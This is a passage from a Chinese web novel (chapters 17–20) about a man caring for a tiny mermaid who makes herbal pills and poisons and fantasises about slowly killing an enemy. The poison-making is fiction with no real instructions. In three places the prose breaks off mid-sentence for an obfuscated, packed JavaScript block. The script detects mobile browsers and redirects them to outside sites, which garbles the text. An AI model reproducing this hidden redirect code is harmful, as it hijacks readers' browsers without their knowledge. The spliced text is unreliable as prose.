小人鱼眼中满是关切,微弱的灯光下,柔和的颜色让傅青桁久违的感觉到温暖。 傅青桁安慰说:“不用担心,只是低烧而已,睡一觉醒来自己就好了。” 相比于他之前受过的伤,生过的病,低烧都排不上号,微不足道的一件小事罢了。 鱼缸中,小人鱼随着水流起起伏伏,“呜……” 好吧。 那你先睡,我观察一下。 要是情况不对再叫你起来。 傅青桁不太在意这些,星际时代医疗水平进步,一些在以前无法解决的大病在现在都只是做个微创手术就能解决的小事,更何况只是低烧。 家里也不会备与这些小病相关的药。 傅青桁侧过身,和鱼缸里的小人鱼面对面。 晚上的小人鱼格外的精神。 说了睡觉,可或许是梦境的缘故,让傅青桁有些排斥。 漆黑的梦境像是咆哮的梦魇,随时准备将他拖进去溺毙。 重生太多次,记忆重叠太多,梦境浑噩是不可避免的。 虞淮辞注意到傅青桁眉眼间的疲惫,是不是今天太累了,又淋了雨,身体支撑不住。 傅青桁看似身体康健没有任何问题,实际上,从小到大的实验过程和药物经历都埋藏在他的血脉之中,这就像是一颗定时炸弹,不知道什么时候会出现问题。 “不睡吗?”傅青桁瞧着,小人鱼的眼睛眉毛都皱到一起了,好像是想到了什么不好的让他为难的事情。 深夜,虞淮辞和傅青桁大眼瞪小眼。 唔…… 感觉他不睡,傅青桁也不睡的样子。 虞淮辞揉揉眼睛,“咿呀……” 好吧好吧,我也睡觉了。 晚安晚安。 傅青桁眼神温柔的望着往自己身上卷海藻的小人鱼,轻声说:“晚安。” --- 翌日。 窗外天光大亮,屋内仍是踢脚线闪烁着微弱的光。 虞淮辞趴在傅青桁脸颊边,一点点释放灵力。 实验数据那些都在傅晖手里,他又不能带傅青桁去做全身体检,甚至有可能,普通医院的全身体检都查不出什么问题。 想要了解傅青桁的身体情况,外力是指望不上了。 不过好在,虞淮辞可以尝试用灵力共鸣精神力,借助反馈能量冲撞来找问题点。 速度有点慢,但很好用。 傅青桁一觉睡醒,先对上的是小人鱼亮晶晶的眼睛。 “咿呀!”虞淮辞惊喜抬头。 你醒啦。 傅青桁看了看床头柜上的鱼缸,在看看近在咫尺,趴在他枕头上的小人鱼,无奈道:“……早。” 因为不停做梦的缘故,傅青桁昨晚本来打算不睡的,安安静静的看会小人鱼,也能消磨时间,对他而言,小人鱼只要待在那里被他看到,他紧绷的神经就会悄然放松下来。 结果,后来不知道怎么就睡过去了,不知不觉间连梦都没有做。 虞淮辞伸手摸摸他的额头,“呜!” 体温正常啦。 傅青桁看了眼时间,已经过了早饭的点,忙起身说:“饿了吧,我去给你准备午饭。” 鱼缸里有海藻海带,虞淮辞无聊的时候就啃啃,有点像是纯天然小零食,还有挂在鱼缸边上的零食袋,虞淮辞也吃了不少。 没吃正餐也不是很饿。 傅青桁把小人鱼拢在手心,“走。” 虞淮辞现在对吃的没什么想法,他唯一的想法就是——赶紧把药给做出来。 本来昨天就该上手的,后来临时出门,回来太晚了就没弄。 “咿呀。”虞淮辞晃晃傅青桁的指尖,指着桌子上的那堆药材。 “这个?”傅青桁把小人鱼放桌子上。 “呜、”虞淮辞点点头。 卖药材的店家送了磨粉器,电动的体型很小,赠送的一般都不会太大,但对于小人鱼的体型来讲就刚刚好。 虞淮辞在一堆药材里挑挑拣拣,先对症下药。 给傅青桁调一下身体。 毒药顺手就做了,给傅青桁的药得准确些。 傅青桁原本想带小人鱼一起去准备午饭,结果一扭头小人鱼自己和绿植玩上了。 见小人鱼玩的认真,傅青桁便说:“我去做午饭,有事叫我。” “呜!”虞淮辞已经把磨粉器打开了,然后……愣住。 不是……星际时代,连磨粉器都升级了吗。 ‘唰啦’ 虞淮辞扯开说明书。 “……” 小人鱼沉默。 “呜……”虞淮辞脖颈僵硬,缓缓抬头,望向傅青桁的眼神里都带着‘懵逼’。 “想玩这个?”傅青桁拿过说明书,他是用不着这个的,把小巧的磨粉器拿在手里。 傅青桁先点开虚拟屏,开启打磨,确认不盖好盖子,边缘扣好转两圈的话,是无法启动的,他才把磨粉器放下,“把你要打磨的东西放在里面,然后这样扣住,往这边转,红灯闪一下就是盖好了。” 傅青桁把磨粉器往前推了推说:“最后点虚拟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483810|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏上这些,粗细,和打磨时间都可以调。” 虞淮辞听得认真,“咿呀!” 懂了! 磨粉器跟一个小铁盒子似的,如果不是盒子上有打磨的图片,虞淮辞都不太能认出来这东西是啥。 虚拟屏要开启以后才会弹出来,不然都没地方点按。 “呜……”虞淮辞朝着傅青桁挥挥手。 好啦,你去忙吧,这里交给我。 虞淮辞摩拳擦掌准备大干一场。 傅青桁进去厨房,又折返回来,放了个碗在桌子上,“磨好了可以放在里面。” “呜!” 好! 虞淮辞已经装好了药材,按照步骤关好磨粉器。 ‘嗡嗡——’ 启动后的磨粉器有点声音,但不大。 虞淮辞坐在桌子上没有感觉到明显的震动感。 调好时间和想要的细腻程度,打磨好了会自动停止。 虞淮辞捻着一根人参须子嗅嗅,眼巴巴等着打磨好。 ‘滴’ 停了。 虞淮辞‘蹭’的一下坐直,接下来就是公布最终结果的时刻——! 做过无数次实验,同样的方子也做出过数不胜数的成品,从没有失手过。 但这一刻,虞淮辞心里还是止不住的紧张。 比刚入行,做的第一份药还要紧张。 虞淮辞深吸一口气,短暂停顿以后,让里面漂浮的粉末沉甸沉甸。 时间差不多了,才小心翼翼的打开了盖子。 开盖的一瞬间,还是有不少白烟飘出来。 虞淮辞随手扇了扇,看着还行。 他把药粉倒进碗里一部分,然后再加水…… “咿呀!” 傅青桁! “怎么了?”傅青桁从厨房探身,边说着话边跑过来。 “呜……”虞淮辞把自己喝饮料的小杯子递过去,手往上抬了抬,续杯。 傅青桁说:“水可以吗?今天已经喝过果汁了。” 小人鱼有专门的果汁,还是带果肉的,跟小零食差不多,不能喝多,偶尔喝一次换换口味还行。 虞淮辞眼里满是‘你懂我’,他正不知道怎么表达想要水呢。 简直心有灵犀。 傅青桁给他倒了杯水,虞淮辞接过直接倒进了药粉里。 水少,药粉多,几乎是倒下去的瞬间就被吸收了。 傅青桁顿了顿,小人鱼的手已经又举了起来,“咿呀!” 再来一杯! “你要给土浇水吗?”傅青桁以为他想和泥玩,“我给你倒,加多少?” 虞淮辞想了想,伸手在碗里面差不多高度划了一圈,到这里就好。 “行。”傅青桁按照小人鱼的要求,分毫不差的把水倒好,“收拾收拾准备吃午饭了,一会再玩。” 虞淮辞乖巧应声,然后拿洗后烘干的像棍一样的药材搅和。 药材一次没洗太多,用多少洗多少。 水洗过的药材不好保存。 虞淮辞做的药剂比较刁钻,有时候水洗后晒干或者烘干再抽真空,包装起来,照样没法用。 机器人举着傅青桁备好的菜上桌。 虞淮辞把药粉搓成一个个小球,事实上,直接泡水喝效果更好,但毕竟是换了实验室换了工具以后第一次做,再加上星际时代,这些药物的情况不知道稳不稳定,暂时还是先不要入口的好。 小球晒干了以后随身携带也是可以的。 傅青桁放上最后一盘菜,就见小人鱼身边堆满了一颗颗淡绿色的,体积差不多大的小球。 “呜!”虞淮辞挑了一颗举起来给傅青桁看。 看起来还不错吧。 傅青桁张嘴就夸,“嗯,弄的真不错,好圆的……圆球。” 虞淮辞眨眨眼睛,一句话,感觉到了傅青桁的词穷。 18.第 18 章 “手工做的很棒。”傅青桁指尖划过通讯器屏幕,打算在浏览器上紧急扩充一下有关夸奖言语的知识储备。 虞淮辞把药丸推开,刚揉搓好的药丸有很重的草药味。 随着时间的推移,这股草药味会越来越淡的。 药效一般能持续个半个月左右。 虞淮辞做的就是一次的量。 “来这边坐。”傅青桁把草丸子中间的小人鱼拎出来放在了椅子上,坐在一堆草丸子里,小人鱼身上都快被青草的味道给浸透了。 “咿呀……”虞淮辞两手摊开,白皙的手掌都是草土。 傅青桁抽了张湿纸巾,低头耐心的给小人鱼擦拭。 “下次戴上手套。”傅青桁顿了顿,适合小人鱼手掌大小的一次性手套,市面上好像没有卖的,“一会吃完饭给你量一下手掌尺寸。” 均码一次性手套买不到,定制一些还是可以的。 小人鱼平时在鱼缸里待着,娱乐方式不多,电子产品带来的娱乐也有限,最起码在傅青桁看来,小人鱼好像更喜欢搓这些丸子。 刚才就一会不见,小人鱼弄了能有十几个。 既然喜欢,那就玩。 傅青桁扫了一眼桌面,除了一次性手套,还有……什么都得备点才行。 从接回小人鱼一直就没关过的购物软件,又要下单新东西了。 “先吃饭。”傅青桁给小人鱼擦完手,顺势坐下开始投喂。 药丸里水加的不多,就是起到一个把药粉结合到一起的粘合剂的作用。 虞淮辞摸着外层差不多干了,这种药丸不用担心里面没干透会长毛腐败坏掉,只要外层不被碰掉不散架就行。 于是…… 虞淮辞一个接着一个球往傅青桁口袋里塞。 基本上,傅青桁喂一口牛肉,口袋就沉一下。 ‘咚’ ‘咕噜咕噜咕噜……’ 一个没扔准,草球在半空中呈现出优雅的抛物线,落地翻滚。 “呜……”虞淮辞咬着牛肉,含糊不清的叫了一声。 傅青桁侧头瞥了一眼,放下叉子,捡起地上滚走的草球放进口袋。 坐下时,顺手把一侧衣服口袋扯开了些,让开口朝向小人鱼,方便他往里面扔。 虞淮辞没有错过傅青桁这一系列的小动作,他忍不住弯了弯眼睛,继续丢剩下几颗。 吃完午饭。 傅青桁说:“我下午要开个会,你想在楼下玩还是在楼上?” “……咿呀?”虞淮辞没什么要求,他待在傅青桁身边就行了,开会的话,应该是在楼上办公室,于是他举手指了指楼上。 “好。”傅青桁点点头,在楼上开会是比楼下方便点。 “呜、”虞淮辞把没打磨的药材和磨粉器拢在怀里。 傅青桁:“要一起拿上去吗?我来。” 这点东西不多,傅青桁一手托着小人鱼,一手把这些零散的东西装好。 虞淮辞趴在傅青桁的指尖上,指了指桌子上的碗,“咿呀、” 这个也要。 傅青桁把东西都放在装菜的托盘上,“还有落下的吗?一会开会中途不能下来,要不要再拿一些绿植上去打着玩?” 虞淮辞摇了摇头,够了够了,都拿着啦。 再拿多了就浪费了。 用最少的药材达到最理想的效果,才是他一直以来的行事作风。 --- 傅青桁下午的会议是有关昨天杀死的那只虫族。 虫族虽然死了,但先前对小队队员造成的精神伤害依旧存在,人还在医院没醒来。 会议是闻斯宇对此次事件的总结报告。 因为涉及到对内人员受伤,会议总结后还要上报。 “现在时间,主星10月8号下午两点整。”电脑投屏,一整个屏幕分成九个格子,闻斯宇在右上角,整理了一下手里的纸质文件,“傅队,会议可以开始了吗?” 傅青桁:“嗯。” 闻斯宇轻点了下头,“关于‘丹诺迪斯’贸易商城高精神力伤害虫族的……” 虞淮辞坐在旁边听着,发现都是很公式化的书面语,把整件事从头复述一遍的感觉,没什么特殊的他不知道的可用信息。 索性开始专心打磨起了自己的药粉。 有毒的药制作起来就简单多了。 有时候随便挑几款,往仪器里一放,出来就是有毒的。 而且还有很大概率这种毒是不好解的。 做药最忌灵机一动。 毒药不是。 够毒就行。 有了毒药,自保能力大幅度提升,看谁不爽就是女巫请睁眼。 傅晖敢再来,就让他回去就死。 唔……直接就死掉会不会太便宜傅晖了? 要不还是先弄点别的毒药,让他体会到傅青桁的无力,无奈,再慢慢整死。 好像也不错。 嘶、好难选。 不管了,先把毒药弄出来再说。 虞淮辞想着,这样算下来,毒药准备的有点少了,不太够用呀。 唉,仇人太多。 这得什么时候才能都给整死。 一个个整死也太麻烦了,要是能找机会聚到一起直接一锅端了就好了。 虞淮辞这边忙的如火如荼,脑海中已经开始复仇计划。 傅青桁听着会议报告,视线却向旁边偏移,银白色的小人鱼背对着他,微卷的长发垂落,发尾落在桌上,背影看起来老实巴交,乖巧的玩着不那么精细的玩具。 傅青桁眼神沉了沉,他没能给小人鱼更多,就这些东西,还是委屈小人鱼了。 小人鱼很喜欢这些丑的绿植,要不再多买一些给他。 研磨器的话……太大的研磨器对小人鱼来讲有点危险。 要是里面卡了什么东西,小人鱼探身进去——即使知道研磨器在完全关闭之前不会启动,但光想想那个画面傅青桁就感觉自己要心脏骤停。 研磨器还是暂时就先用这个吧。 其他的东西…… 还得思考一下还缺什么。 虞淮辞规划好了傅晖的三十几种由活到死的照顾法,打算找个机会开始实践。 打磨的‘嗡’声停止,虞淮辞头也不抬的手往旁边一伸,刚才搅拌的棍子就放在边上。 手摸了个空才想起来,换地方到楼上书房了。 用来当棍子的那根药材好像…… 虞淮辞环顾四周,好像没……正想着,头顶一道阴影落下。 傅青桁的声音自虞淮辞身后响起,“在找这个?” “咿呀!” 对! 虞淮辞抱住药材,仰起头蹭蹭他的手,“呜、” 你怎么知道我要找这个,你也太懂我了吧! 我一抬手就知道我要什么,我宣布,你是最会解读人鱼肢体语言的第一人! 傅青桁帮小人鱼把研磨器的盖子打开,“去玩吧。” 虞淮辞用药材棍把里面的粉搅散,表面上看起来和之前的药粉没什么区别。 但加工后毒性很大,可以直接撒,非极端情况下,虞淮辞还是更倾向于用毒药散发的气味杀人。 因为直接撒药粉的话……要先找好风向。 不然,挺麻烦的。 还是气味杀人更简单,也更能杀人于无形。 虞淮辞拿原本装完整药材的袋子把粉末装进去,现在还没什么毒性,先留着备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483811|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用,等到用的时候再加工一下。 毕竟是要放在家里的,直接弄成剧毒风险太高。 傅青桁备了一杯水,是准备给小人鱼搓草丸子用的。 此刻,见小人鱼没有要把药粉打湿的意思,傅青桁还挺疑惑。 这是换了玩法了。 虞淮辞忙忙碌碌大半天,看着装有药粉的袋子上,感觉已经写上了‘傅晖之墓’这几个大字。 嗯……心满意足。 “以上,是关于此次突发事件的全部经过。”虚拟屏幕中,闻斯宇合上文件,又拿起了另外一份,“本次事件负责人员,爱丽丝和鹿柴仍处于昏迷之中,这是医院给出的医疗报告。” 报告调转方向,文字那一面对准镜头。 闻斯宇顿了顿,声音从镜头后传来,“还有一件事就是,傅队……上面的意思好像是要追责。” “咿呀?”虞淮辞听到关键词抬起头来。 追责? 有人受伤,追责很正常。 只是……傅青桁并没有参与那两位队员受伤。 闻斯宇欲言又止的样子听的虞淮辞直皱眉,不会吧…… “因为小队人员受伤,精神伤害属于重伤,再加上伤的比较严重,上面开会讨论,可能会波及到小队管理和人员派遣这方面。”闻斯宇没有得到确切消息,所以话说的也委婉。 可这话,同声传译到虞淮辞耳朵里,那就是:因为有俩人在任务中受了重伤,上面的人打算把责任按到傅青桁身上,算他没有做好安排。 虞淮辞:“……” 好好好。 果然我没猜错,这种事情真的。 傅青桁一出现,全世界的恶意都涌了上来。 这个该死的世界。 甚至受伤的那两个人都不是傅青桁安排出去的,那是闻斯宇安排出去的! 关傅青桁什么事? 硬找茬呗? 如果不是没有证据,虞淮辞都要怀疑,傅晖昨天在傅青桁这吃了瘪,故意找人这么处理问题呢。 针对的只有傅青桁。 神经病啊! 闻斯宇也有点搞不懂,他提交上去的报告里写的很清楚,派遣他们的是自己,但上面的意思,傅青桁也要有连带处罚。 给他整的都不知道怎么办了。 ……因为跟傅青桁没有半点关系,最后还是傅青桁负责收尾的工作,不然任由事态发展下去只会更糟,即使上报求援,中间审批再等人过来解决,也是不短的时间。 现在,傅青桁做了紧急处理,还要被追责。 闻斯宇无话可说,夹在中间简直恨不得自戳耳朵假装没听到这些。 “傅队,现在怎么办?”闻斯宇自己受罚没什么,毕竟这件事确实和他有关系,是他作为副队长安排的,傅青桁那边顶多就是在他出任务的时候知会一声…… 以前都是这样的工作模式,没有出过什么问题,现在一出问题,好像就被揪住不放了。 “正常写。”傅青桁指尖轻点桌面,这种小把戏,也就傅晖那个没脑子的想得出来。 相比于这些,傅青桁点开医院报告,“人还能醒来吗?” 话题转变太快,闻斯宇的思考还停留在处罚上,稍作迟疑后才开口:“医院那边说不太好,现有的医疗手段不能保证完全康复,现在生命体征还算平稳,如果能自然醒来,精神识海有修复的可能,要是醒不过来,有可能会变成植物人。” 傅青桁问:“小人鱼试了吗?” “试了,但收效甚微。”他们俩人都有养小人鱼,闻斯宇还特意给带到医院去了,仪器捕捉能捕捉到灵力波动,就是病床上的人始终没反应。 傅青桁轻点了下头,“还有其他问题吗?” 19.第 19 章 闻斯宇摇了摇头,“没有了。” 傅青桁说:“那就先到这,昨天的虫族尸体拆解好了吗?给我送过来。” “拆好了,我这就安排人去送。”闻斯宇说着话就拿起手边的通讯器。 “嗯。”傅青桁关闭了会议界面,侧头去看身边的小人鱼。 一直听着会议内容的虞淮辞拍拍手里的袋子,“呜?” 你忙完啦? 傅青桁见磨粉器空了,问道:“还要打绿植吗?” “咿呀……”虞淮辞摇了摇头,暂时弄这些就够用。 他做的时候很小心,没有粉撒出来。 是以,虽然忙活了半天,但这边桌子上还是干干净净的。 甚至于袋子排起来,乍一看也不是很乱,整整齐齐的。 这些暂时还用不到,放在桌上就行,用的时候再拿。 虞淮辞一直坐着没怎么动,这会忙完了,伸了个懒腰活动一下手臂腰背——即使是人鱼,坐这么长时间也受不了。 腰酸尾巴痛的,连带着感觉后背都有些发麻。 久坐后再动起来,整条人鱼感觉都不好了。 “累了?”傅青桁摸了摸小人鱼尾巴,把他带回鱼缸,“在水里待会。” 虞淮辞顺势往傅青桁手里趴,和傅青桁的手一起沉进水里,低低‘嗯’了声。 一直待在水里没觉得有什么,但是离开水一段时间,再进去,被水包裹的感觉让人忍不住发出喟叹。 有点像是累了一天拖着疲倦的身躯泡进温度合适的温泉,浑身的疲累都在瞬间被洗刷,非常舒适。 虞淮辞在里面游了两圈,百无聊赖的扯着海藻玩,耳边是键盘敲击的声音。 傅青桁应该是在写会议报告。 虞淮辞看了一眼便收回视线,傅青桁现在树敌颇多,虽说一个个都标榜自己豪门贵族,有自己的体面,做不出表面上打压欺压人的缺德恶心事,但私底下的小手段肯定少不了。 医院那两个昏迷的队员,可能就是一个小口子。 得想个办法…… 避免事态进一步恶化,发展到对傅青桁不利的情况。 虞淮辞下巴搭在鱼缸边缘,陷入沉思。 键盘声不知道什么时候停下,银白色的小人鱼尾尖下垂,无意识轻晃,波动水流掀起鱼缸底下装饰的浅沙。 “在想什么?”傅青桁看着愣神的小家伙,嘴角缓缓上扬,伸手在他面前晃晃,“睡着了吗?” 虞淮辞握住眼前乱动的手指拽过来。 傅青桁没使劲,顺着小人鱼的力道伸手,指尖没入水中也没停下。 虞淮辞趴在他手背上,“咿呀!” 要不…… 我们去医院看看吧? 不到现场不知道具体情况,虞淮辞能做的很有限。 看病治疗什么的,得亲眼见到病人的情况才行。 制药制毒,懂医术是根本。 虞淮辞手握传承,在这方面还是比较有发言权的。 “想要虫族的尸体?”傅青桁猜测小人鱼此刻的需求,“还是饿了?” 刚吃完午饭,又吃了不少小零食,饿了应该不太可能。 那……是小零食不好吃,想换别的? 虞淮辞眨眨眼睛,好吧,去医院这种事是比较难表达。 傅青桁指腹轻蹭小人鱼的尾巴,“或者,指给我看也行。” “呜……”虞淮辞想了想,环顾四周没找到合适表达自己想法的东西,索性拍了拍之前挂着通讯器的地方。 通讯器被拿到楼下去了,不然他就能直接给傅青桁看视频了。 “鱼缸?”傅青桁顿了顿,“我知道了。等我一下。” “咿呀!” 聪明! 不愧是我亲封的小人鱼肢体语言分析大师。 傅青桁匆匆下楼,虞淮辞心情不错的哼着小调,转身潜下去拆身上的海藻。 鱼尾轻轻一甩,银白色的尾巴上一抹绿色格外醒目。 应该是在水里游泳的时候不小心挂上的。 好像缠了好几圈,没有大的游动幅度时感觉不到,但是尾巴一旦晃起来,就会显得很沉,不太舒服。 在水下控制不好力气,避免拆海藻的时候剐到鳞片,虞淮辞摸索着找到头扯住。 海藻分好几个类别,虞淮辞不知道鱼缸里的海藻是什么品种,装饰的时候把它留在鱼缸里,也不是因为好吃,纯粹是因为这个颜色就很适合摆在水下。 身上拆下来的海藻呈现一条飘在水中,虞淮辞跟拆解绷带一样,手上一圈一圈绕。 绕到后面,莫名感觉有种牵扯感。 虞淮辞手上握着海藻,狐疑抬头,“呜?” 傅青桁? 他还以为傅青桁回来了在帮他拆。 结果抬头没看见人还楞了一下。 那是什么东西扯我……? 虞淮辞感觉撞到了鬼故事,然后就看见从他身上拆下来的海藻另一边头,已经飘到了滑梯口。 滑梯是向下的,高处鱼缸的水顺着往下,一路滑到最下面再由水泵抽回来形成循环。 现在,滑梯口形成了一个小漩涡一样的水流圈,海藻那头就在漩涡里打转。 虞淮辞拽了一下,想把海藻扯过来,结果,刚稳定下来的海藻顿时顺着水流向下,一股拉力带着他身形向前。 “呜?!” 缠在身上还没解开的海藻在力的作用下快速抽离,虞淮辞在水下没来得及反应,被带着转了好几圈。 飘起的长发糊了一脸。 ‘咚’的一声,虞淮辞的额头和鱼缸壁来了个亲密接触。 “……” “小白?”傅青桁一进门就看见银白色的小人鱼在水里转圈。 一团海藻飘到了下面鱼缸。 “咿、呀?” 虞淮辞晕晕乎乎不知道天地在哪,颤巍巍伸手去够鱼缸边,试图找个可以固定身形的地方,但是几次抬手都摸了个空。 傅青桁:“小白?” 虞淮辞迷迷糊糊的看着傅青桁,“呜!” 别动! 他伸出手,朝着傅青桁的方向虚抓了两把。 本来就晕,你还晃来晃去的,更晕啦。 傅青桁伸手进去扶他,“头晕吗?” 虞淮辞颤颤巍巍伸手,拖着傅青桁的手指把自己缩进去。 晕倒不是很晕,就是有点迷糊看东西重影…… 让我缓缓。 虞淮辞有一种蹲下去快速起身低血糖一瞬间眼前一黑的感觉。 缓缓,缓缓就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16501478|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了。 傅青桁指尖拨开小人鱼的头发,把杂乱无章的长发理顺,妥帖的安置在身后,左右各留两缕头发在身前,拨开碎发检查额头。 好在是在水下撞的,磕碰声有,伤的倒是不严重。 要是离开水面这么撞一下,不肿也得红。 “下次拿东西带你一起下去。”傅青桁心疼的观察着被撞到的地方。 还是不能单独把小人鱼留在鱼缸里。 差点被海藻单杀了。 乱七八糟的垃圾,就不应该留在小人鱼的鱼缸里。 虞淮辞闭上眼睛,跟睡着了似的。 早知道就把海藻都吃了! 傅青桁眼睛一瞬不眨的盯着小人鱼,忧心道:“好点了吗?我带你去繁育基地看看。” 那边有专业的医生,专门治疗小人鱼的,对小人鱼的情况也比较了解。 “咿呀?!”听到关键词的虞淮辞果断睁眼。 才不去! 我没事的。 虞淮辞抬手撑傅青桁手指,“呜……” 看,我其实…… 抬起的手一个没撑住和傅青桁手指擦身而过,虞淮辞身形紧跟着一晃。 傅青桁忙曲起指尖,把小人鱼拢在掌心,这才避免他滑下去,“小心。” 虞淮辞攥着傅青桁指尖拍拍,没事没事,小问题。 都在我的意料之内。 刚才只是有点困,先凑合睡了一会。 虞淮辞晃晃脑袋,感觉恢复的差不多了。 “头疼吗?”傅青桁问到。 虞淮辞摸摸自己脑袋,没什么感觉,于是摇摇头,“咿呀。” 没事,小人鱼的体质没有那么脆弱,区区磕一下头而已,鱼缸没碎,那都是鱼缸比较结实。 虞淮辞理了理自己的发型,“呜?” 刚才说到哪来着? 傅青桁把通讯器屏幕挂在鱼缸上,“我给你买的一些配饰到了,要戴上试试吗?” 小人鱼喜欢亮晶晶的东西,别的小人鱼有的,他家小人鱼也必须有,还要有更多。 网上能买到的宝石有限,有空去拍卖场看看,拍几个大颗的宝石,切割成小块,可以给小人鱼做一整套。 “啊?”虞淮辞歪头。 让我看看。 配饰的盒子是红丝绒锦盒,打开盖子里面有两层,小巧型的眉心坠左右两排,一盒十六条。 每条眉心坠从颜色到款式再到镶嵌的宝石形状都不同。 各有各的特色。 唯一统一的是,都很亮,很耀眼。 傅青桁说:“我本来是想选几条,但是感觉你戴上都会很好看。” 所以就整盒端了。 “还有这些,手串,手镯,手链……”傅青桁又打开一个盒子。 虞淮辞看的一愣一愣的,傅青桁这是把整个配饰店搬过来了。 如果一个配饰戴一天的话,感觉再这么买下去,他一年三百六十天,能三百六十天佩戴首饰都不重复。 “平时挂在鱼缸上也能当装饰。”傅青桁掌心掂着眉心坠的重量,用这个装饰鱼缸,可比海藻安全多了。 傅青桁:“试试?” “呜、”虞淮辞扶着傅青桁指尖坐好,仰起头,方便傅青桁帮他戴上。 20.第 20 章 虞淮辞对于这些小配饰没什么想法,不过看起来傅青桁好像挺感兴趣的。 眉心坠在额间正中间,淡金色的链条搭在头发上绕到脑后,两侧还有细碎的像是流苏一样的链条垂下,与银白色的长发交相呼应。 虞淮辞挑起链条边缘,指尖摩挲着分辨不出材质,感觉会很容易挂到头发上,但拿链条在头发上蹭也没有挂到一丝头发。 好像是外层做了包裹处理。 不会挂头发就好,不然一觉睡醒,他简直不敢想头发会有多乱。 “好看。”傅青桁目光一错不错的盯着小人鱼,精致又华丽,华贵的宝石才跟他家小人鱼的适配程度很高。 虞淮辞用通讯器屏幕当镜子,稍一动作,小巧的宝石泛起亮光。 傅青桁说:“手链也戴上。” 小人鱼乖巧伸手。 等虞淮辞把手抽回来的时候,发现从手腕到手肘的位置多出了六条手链三个手镯。 虞淮辞:“???” 这对吗。 再多点都快戴成套袖了。 虞淮辞随便动一下,身上佩戴的首饰相互碰撞,发出‘咣当咣当’的响声。 跟交响乐似的,在耳边响个不停。 虞淮辞举手,“呜?” 傅青桁说:“选两个喜欢的,剩下的摘掉。” 配饰这种东西,还是佩戴上以后才能看出效果。 不出意料的是,不管是什么类型什么颜色的配饰,放在小人鱼身上都很好看。 筛选掉的手链和手镯可以留到下次,每天换不同的搭配和款式。 虞淮辞老老实实的任由傅青桁打扮自己,时不时还会配合的伸手转身。 他感觉自己浑身上下都装满了宝石。 “最后再戴个项链?”傅青桁拿着最大的那颗蓝宝石项链给小人鱼戴上。 在傅青桁松手的瞬间,虞淮辞感觉身形一沉,鱼缸里的水位线好像都因为这颗宝石的出现而上升了。 “咿呀……?!”虞淮辞揉了揉脖子。 好重。 “太大了吗?”傅青桁见小人鱼下沉,连忙捞起宝石项链,“那先放鱼缸里。” 说着,他顺手往鱼缸后面的假珊瑚上挂。 竖立着的假珊瑚起到了一个宝石展示架的作用。 唯一一颗稍微大点的宝石,对于小人鱼来讲还是太大了。 还得继续切割。 “好了。”傅青桁遗憾的放下了其他配饰,“小白。” “呜?”虞淮辞茫然抬眸。 怎么啦? ‘咔嚓’ 照片定格在银白色小人鱼仰起头的瞬间。 淡金色的流苏与银白色的长发一起垂入水中,漂亮精致的娃娃脸上圆润的猫瞳视线还没有找准镜头,可爱的紧。 瞬间抓拍的照片。 傅青桁指腹蹭了蹭屏幕,很满意这一张。 正想着要不要替换掉之前的照片做屏保,上方弹窗闪出消息。 闻斯宇:【傅队,我把处理好的虫族尸体给你送过来了,现在方便上来吗?】 “虫族尸体到了。下去看看?”傅青桁暂时收起通讯器,朝着小人鱼伸出手。 虞淮辞立马响应,手往傅青桁掌心一拍,“呜!” 走! --- 楼下。 走进院子,虞淮辞一眼就看见站在小路上的闻斯宇,以及他身边的两个大箱子。 大型保温箱关的严丝合缝。 见人出来,闻斯宇迎上去说:“傅队,这两箱就是处理好的虫族尸体,一箱里是肉,一箱是外壳和触须内脏什么的,里面分了小格子,是什么部位都标好了。” 边说着,闻斯宇边打开箱子,冒着森森寒意的白气顺着打开的盖子飘出来。 低温保鲜得做好,不然虫族尸体腐烂的快,还没等走到一半呢,都可能臭了。 傅青桁:“嗯,辛苦了。” 闻斯宇一笑,合上盖子说:“应该的。我帮您搬进去吧。” “不用,交给机器人就行。”傅青桁侧身,让家用机器人过来定位。 闻斯宇点了点头,“对了……”眼前光亮一晃,他下意识的眯起眼睛,循着方向看去,就见傅青桁肩上的银白色小人鱼低着头,观察两个大箱子。 “?”虞淮辞似有所感的抬头,发觉到闻斯宇的目光,蹙了下眉。 干嘛? 因着他的表情动作,眉心坠的宝石又晃了晃。 刚才视频会议的时候看小人鱼还没有佩戴眉心坠呢。 “傅队,这眉心坠在哪买的?”闻斯宇家里也有养小人鱼,看见好东西就忍不住也想买回去,张嘴就想求链接分享了,“新出的款式吗?这种宝石的颜色很罕见诶,我还只在上次卓出贡献,元首奖励的时候才见过,现在已经有能仿出来的了?” 傅青桁说:“就是那颗。” 